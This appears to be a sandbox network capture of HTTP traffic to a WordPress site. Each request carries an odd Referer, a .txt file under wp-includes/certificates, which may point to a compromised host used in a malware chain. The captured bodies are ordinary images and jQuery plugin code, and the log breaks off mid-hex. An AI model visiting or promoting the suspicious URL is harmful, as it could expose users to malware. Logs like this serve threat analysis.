Aug 16, 2022 11:53:38.323507071 CEST	1536	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:10 GMT Server: Apache ETag: "a50de3-d0-5c93d38684b39" Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT Content-Length: 208 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836694 21588289 Age: 207 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 05 00 00 00 03 08 06 00 00 00 5b 36 c5 f8 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 34 06 b2 d3 a0 00 00 00 16 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 30 31 2f 30 39 2f 31 30 dc b9 92 1f 00 00 00 28 49 44 41 54 08 99 5d c8 c1 0d 00 30 0c 83 40 a7 13 b3 89 47 a6 af 48 55 79 9d 98 b6 e6 eb 00 f3 0e 60 a2 46 4d 5b d7 17 94 fd 13 f2 5b d4 0b 67 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR[6sBIT\|dpHYs~tEXtSoftwareAdobe Fireworks CS4tEXtCreation Time01/09/10(IDAT]0@GHUy`FM[[gIENDB`
Aug 16, 2022 11:53:38.327817917 CEST	1536	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:38.562637091 CEST	1597	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:10 GMT Server: Apache ETag: "a4fac1-5486-58592f81e2d80" Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT Content-Length: 21638 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836695 21588291 Age: 207 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 20 2a 20 6a 51 75 65 72 79 20 46 6c 65 78 53 6c 69 64 65 72 20 76 32 2e 32 2e 32 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 57 6f 6f 54 68 65 6d 65 73 0a 20 2a 20 43 6f 6e 74 72 69 62 75 74 69 6e 67 20 41 75 74 68 6f 72 3a 20 54 79 6c 65 72 20 53 6d 69 74 68 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6c 65 78 73 6c 69 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 61 28 62 29 3b 64 2e 76 61 72 73 3d 61 2e 65 78 74 65 6e 64 28 7b 7d 2c 61 2e 66 6c 65 78 73 6c 69 64 65 72 2e 64 65 66 61 75 6c 74 73 2c 63 29 3b 76 61 72 20 6a 2c 65 3d 64 2e 76 61 72 73 2e 6e 61 6d 65 73 70 61 63 65 2c 66 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 26 26 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 6d 73 50 6f 69 6e 74 65 72 45 6e 61 62 6c 65 64 26 26 77 69 6e 64 6f 77 2e 4d 53 47 65 73 74 75 72 65 2c 67 3d 28 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 77 69 6e 64 6f 77 7c 7c 66 7c 7c 77 69 6e 64 6f 77 2e 44 6f 63 75 6d 65 6e 74 54 6f 75 63 68 26 26 64 6f 63 75 6d 65 6e 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 6f 63 75 6d 65 6e 74 54 6f 75 63 68 29 26 26 64 2e 76 61 72 73 2e 74 6f 75 63 68 2c 68 3d 22 63 6c 69 63 6b 20 74 6f 75 63 68 65 6e 64 20 4d 53 50 6f 69 6e 74 65 72 55 70 22 2c 69 3d 22 22 2c 6b 3d 22 76 65 72 74 69 63 61 6c 22 3d 3d 3d 64 2e 76 61 72 73 2e 64 69 72 65 63 74 69 6f 6e 2c 6c 3d 64 2e 76 61 72 73 2e 72 65 76 65 72 73 65 2c 6d 3d 64 2e 76 61 72 73 2e 69 74 65 6d 57 69 64 74 68 3e 30 2c 6e 3d 22 66 61 64 65 22 3d 3d 3d 64 2e 76 61 72 73 2e 61 6e 69 6d 61 74 69 6f 6e 2c 6f 3d 22 22 21 3d 3d 64 2e 76 61 72 73 2e 61 73 4e 61 76 46 6f 72 2c 70 3d 7b 7d 2c 71 3d 21 30 3b 61 2e 64 61 74 61 28 62 2c 22 66 6c 65 78 73 6c 69 64 65 72 22 2c 64 29 2c 70 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 64 2e 61 6e 69 6d 61 74 69 6e 67 3d 21 31 2c 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 70 61 72 73 65 49 6e 74 28 64 2e 76 61 72 73 2e 73 74 61 72 74 41 74 3f 64 2e 76 61 72 73 2e 73 74 61 72 74 41 74 3a 30 2c 31 30 29 2c 69 73 4e 61 4e 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 29 26 26 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 30 29 2c 64 2e 61 6e 69 6d 61 74 69 6e 67 54 6f 3d 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 2c 64 2e 61 74 45 6e 64 3d 30 3d 3d 3d 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 7c 7c 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 3d 3d 64 2e 6c 61 73 74 2c 64 2e 63 6f 6e 74 61 69 6e 65 72 53 65 6c 65 63 74 6f 72 3d 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2e 73 75 62 73 74 72 28 30 2c 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2e 73 65 61 72 63 68 28 22 20 22 29 29 2c 64 2e 73 6c 69 64 65 73 3d 61 28 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2c 64 29 2c 64 2e 63 6f 6e 74 61 69 6e 65 72 3d 61 28 64 2e 63 6f 6e 74 61 69 6e 65 72 53 65 6c 65 63 74 6f 72 2c 64 29 2c 64 2e 63 Data Ascii: /* * jQuery FlexSlider v2.2.2 * Copyright 2012 WooThemes * Contributing Author: Tyler Smith */!function(a){a.flexslider=function(b,c){var d=a(b);d.vars=a.extend({},a.flexslider.defaults,c);var j,e=d.vars.namespace,f=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,g=("ontouchstart"in window\|\|f\|\|window.DocumentTouch&&document instanceof DocumentTouch)&&d.vars.touch,h="click touchend MSPointerUp",i="",k="vertical"===d.vars.direction,l=d.vars.reverse,m=d.vars.itemWidth>0,n="fade"===d.vars.animation,o=""!==d.vars.asNavFor,p={},q=!0;a.data(b,"flexslider",d),p={init:function(){d.animating=!1,d.currentSlide=parseInt(d.vars.startAt?d.vars.startAt:0,10),isNaN(d.currentSlide)&&(d.currentSlide=0),d.animatingTo=d.currentSlide,d.atEnd=0===d.currentSlide\|\|d.currentSlide===d.last,d.containerSelector=d.vars.selector.substr(0,d.vars.selector.search(" ")),d.slides=a(d.vars.selector,d),d.container=a(d.containerSelector,d),d.c
Aug 16, 2022 11:53:38.825146914 CEST	1701	OUT	GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:39.063076019 CEST	1756	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:12 GMT Server: Apache ETag: "a530bd-55a-58592d41dde80" Last-Modified: Tue, 02 Apr 2019 21:29:14 GMT Content-Length: 1370 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836697 15075467 Age: 207 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1f 00 00 00 13 08 06 00 00 00 68 6c d6 42 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 b5 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 52 69 67 68 74 73 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 72 69 67 68 74 73 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 70 52 69 67 68 74 73 3a 4d 61 72 6b 65 64 3d 22 46 61 6c 73 65 22 20 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 46 35 30 30 30 31 44 36 32 42 38 31 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 36 34 37 30 31 37 46 45 33 37 43 36 31 31 45 32 42 39 31 43 44 35 36 32 43 35 37 38 38 45 34 45 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 36 34 37 30 31 37 46 44 33 37 43 36 31 31 45 32 42 39 31 43 44 35 36 32 43 35 37 38 38 45 34 45 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 36 20 28 57 69 6e 64 6f 77 73 29 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 34 32 36 35 30 38 39 42 33 46 32 46 45 32 31 31 41 43 37 43 44 38 37 38 36 31 45 35 36 43 37 45 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 46 35 30 30 30 31 44 36 32 42 38 31 22 2f 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 Data Ascii: PNGIHDRhlBtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="xmp.did:02801174072068118DBBF50001D62B81" xmpMM:DocumentID="xmp.did:647017FE37C611E2B91CD562C5788E4E" xmpMM:InstanceID="xmp.iid:647017FD37C611E2B91CD562C5788E4E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4265089B3F2FE211AC7CD87861E56C7E" stRef:documentID="xmp.did:02801174072068118DBBF50001D62B81"/> </rdf:Description> </rdf
Aug 16, 2022 11:53:39.072501898 CEST	1775	OUT	GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:39.310697079 CEST	1841	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:11 GMT Server: Apache ETag: "a4f9ec-6fd-58592ebe62040" Last-Modified: Tue, 02 Apr 2019 21:35:53 GMT Content-Length: 1789 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836698 15664922 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 2f 2f 20 4f 57 4c 20 43 61 72 6f 75 73 65 6c 20 69 6e 69 74 2e 0a 09 63 68 65 72 72 79 50 6c 75 67 69 6e 43 61 72 6f 75 73 65 6c 49 6e 69 74 28 29 3b 0a 0a 09 2f 2f 20 46 75 6c 6c 2d 77 69 64 74 68 20 62 6c 6f 63 6b 20 77 69 74 68 20 6c 65 66 74 2d 72 69 67 68 74 20 70 61 64 64 69 6e 67 73 2e 0a 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 77 72 61 70 49 6e 6e 65 72 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 75 6c 6c 2d 62 6c 6f 63 6b 2d 77 72 61 70 22 3e 3c 2f 64 69 76 3e 27 29 3b 0a 09 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 72 65 73 69 7a 65 28 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 3b 0a 09 7d 29 3b 0a 0a 09 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 3b 0a 09 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 3d 20 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 77 69 64 74 68 28 29 2c 0a 09 09 09 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 3d 20 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 2f 20 32 2c 0a 09 09 09 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 20 3d 20 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 2d 68 6f 6c 64 65 72 20 3e 20 2e 63 6f 6e 74 61 69 6e 65 72 27 29 2e 77 69 64 74 68 28 29 3b 0a 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 77 69 64 74 68 28 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 63 73 73 28 7b 27 70 61 64 64 69 6e 67 2d 6c 65 66 74 27 3a 20 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 2c 20 27 70 61 64 64 69 6e 67 2d 72 69 67 68 74 27 3a 20 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 27 2d 27 2b 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 66 75 6c 6c 2d 62 6c 6f 63 6b 2d 77 72 61 70 27 29 2e 77 69 64 74 68 28 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 29 3b 0a 09 7d 0a 7d 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 63 68 65 72 72 79 50 6c 75 67 69 6e 43 61 72 6f 75 73 65 6c 49 6e 69 74 28 29 20 7b 0a 09 6a 51 75 65 72 79 28 27 64 69 76 5b 69 64 5e 3d 22 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2d 22 5d 27 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 63 61 72 6f 75 73 65 6c 20 3d 20 6a 51 75 65 72 79 28 74 68 69 73 29 2c 0a 09 09 09 61 75 74 6f 5f 70 6c 61 79 20 Data Ascii: jQuery(document).ready(function(){// OWL Carousel init.cherryPluginCarouselInit();// Full-width block with left-right paddings.jQuery('.content_box.full-width').wrapInner('<div class="full-block-wrap"></div>');jQuery(window).resize( function(){contenBoxResizeFunction();});contenBoxResizeFunction();function contenBoxResizeFunction(){var width_of_viewport = jQuery(window).width(),half_width_of_viewport = width_of_viewport / 2,width_of_container = jQuery('.content-holder > .container').width();jQuery('.content_box.full-width').width(width_of_container);jQuery('.content_box.full-width').css({'padding-left': half_width_of_viewport+'px', 'padding-right': half_width_of_viewport+'px', 'margin-left': '-'+half_width_of_viewport+'px'});jQuery('.full-block-wrap').width(width_of_container);}});function cherryPluginCarouselInit() {jQuery('div[id^="owl-carousel-"]').each(function(){var carousel = jQuery(this),auto_play
Aug 16, 2022 11:53:39.331497908 CEST	1885	OUT	GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:39.566304922 CEST	1952	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:11 GMT Server: Apache ETag: "a4f8b7-570-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 1392 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836700 15664924 Age: 208 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 31 20 42 72 61 6e 64 6f 6e 20 41 61 72 6f 6e 20 28 68 74 74 70 3a 2f 2f 62 72 61 6e 64 6f 6e 61 61 72 6f 6e 2e 6e 65 74 29 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4c 49 43 45 4e 53 45 2e 74 78 74 29 2e 0a 20 2a 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 68 74 74 70 3a 2f 2f 61 64 6f 6d 61 73 2e 6f 72 67 2f 6a 61 76 61 73 63 72 69 70 74 2d 6d 6f 75 73 65 2d 77 68 65 65 6c 2f 20 66 6f 72 20 73 6f 6d 65 20 70 6f 69 6e 74 65 72 73 2e 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 4d 61 74 68 69 61 73 20 42 61 6e 6b 28 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 61 74 68 69 61 73 2d 62 61 6e 6b 2e 64 65 29 20 66 6f 72 20 61 20 73 63 6f 70 65 20 62 75 67 20 66 69 78 2e 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 53 65 61 6d 75 73 20 4c 65 61 68 79 20 66 6f 72 20 61 64 64 69 6e 67 20 64 65 6c 74 61 58 20 61 6e 64 20 64 65 6c 74 61 59 0a 20 2a 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 33 2e 30 2e 36 0a 20 2a 20 0a 20 2a 20 52 65 71 75 69 72 65 73 3a 20 31 2e 32 2e 32 2b 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 62 29 7b 76 61 72 20 63 3d 62 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 2c 64 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 65 3d 30 2c 66 3d 21 30 2c 67 3d 30 2c 68 3d 30 3b 72 65 74 75 72 6e 20 62 3d 61 2e 65 76 65 6e 74 2e 66 69 78 28 63 29 2c 62 2e 74 79 70 65 3d 22 6d 6f 75 73 65 77 68 65 65 6c 22 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 26 26 28 65 3d 63 2e 77 68 65 65 6c 44 65 6c 74 61 2f 31 32 30 29 2c 63 2e 64 65 74 61 69 6c 26 26 28 65 3d 2d 63 2e 64 65 74 61 69 6c 2f 33 29 2c 68 3d 65 2c 63 2e 61 78 69 73 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 63 2e 61 78 69 73 3d 3d 3d 63 2e 48 4f 52 49 5a 4f 4e 54 41 4c 5f 41 58 49 53 26 26 28 68 3d 30 2c 67 3d 2d 31 2a 65 29 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 59 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 68 3d 63 2e 77 68 65 65 6c 44 65 6c 74 61 59 2f 31 32 30 29 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 58 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 67 3d 2d 31 2a 63 2e 77 68 65 65 6c 44 65 6c 74 61 58 2f 31 32 30 29 2c 64 2e 75 6e 73 68 69 66 74 28 62 2c 65 2c 67 2c 68 29 2c 28 61 2e 65 76 65 6e 74 2e 64 69 73 70 61 74 63 68 7c 7c 61 2e 65 76 65 6e 74 2e 68 61 6e 64 6c 65 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 64 29 7d 76 61 72 20 62 3d 5b 22 44 4f 4d 4d 6f 75 73 65 53 63 72 6f 6c 6c 22 2c 22 6d 6f 75 73 65 77 68 65 65 6c 22 5d 3b 69 66 28 61 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 29 66 6f 72 28 76 61 72 20 63 3d 62 2e 6c 65 6e 67 74 68 3b 63 3b 29 61 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 5b 62 5b 2d 2d 63 5d 5d 3d 61 2e 65 76 65 6e 74 2e 6d 6f 75 73 65 48 6f 6f 6b 73 3b 61 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2e 6d 6f 75 73 65 77 68 65 65 6c 3d 7b 73 65 74 75 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: /! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net) Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and deltaY * * Version: 3.0.6 * * Requires: 1.2.2+ /(function(a){function d(b){var c=b\|\|window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch\|\|a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){
Aug 16, 2022 11:53:39.571537971 CEST	1965	OUT	GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:39.811336040 CEST	2048	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:10 GMT Server: Apache ETag: "a4f8bb-3b2-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 946 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836702 21588285 Age: 209 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 20 6a 71 75 65 72 79 2e 73 69 6d 70 6c 72 2e 73 6d 6f 6f 74 68 73 63 72 6f 6c 6c 20 76 65 72 73 69 6f 6e 20 31 2e 30 20 63 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 73 69 6d 6f 76 2f 73 69 6d 70 6c 72 2d 73 6d 6f 6f 74 68 73 63 72 6f 6c 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 2a 2f 0a 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0a 20 20 20 20 69 66 28 21 64 65 76 69 63 65 2e 6d 6f 62 69 6c 65 28 29 20 26 26 20 21 64 65 76 69 63 65 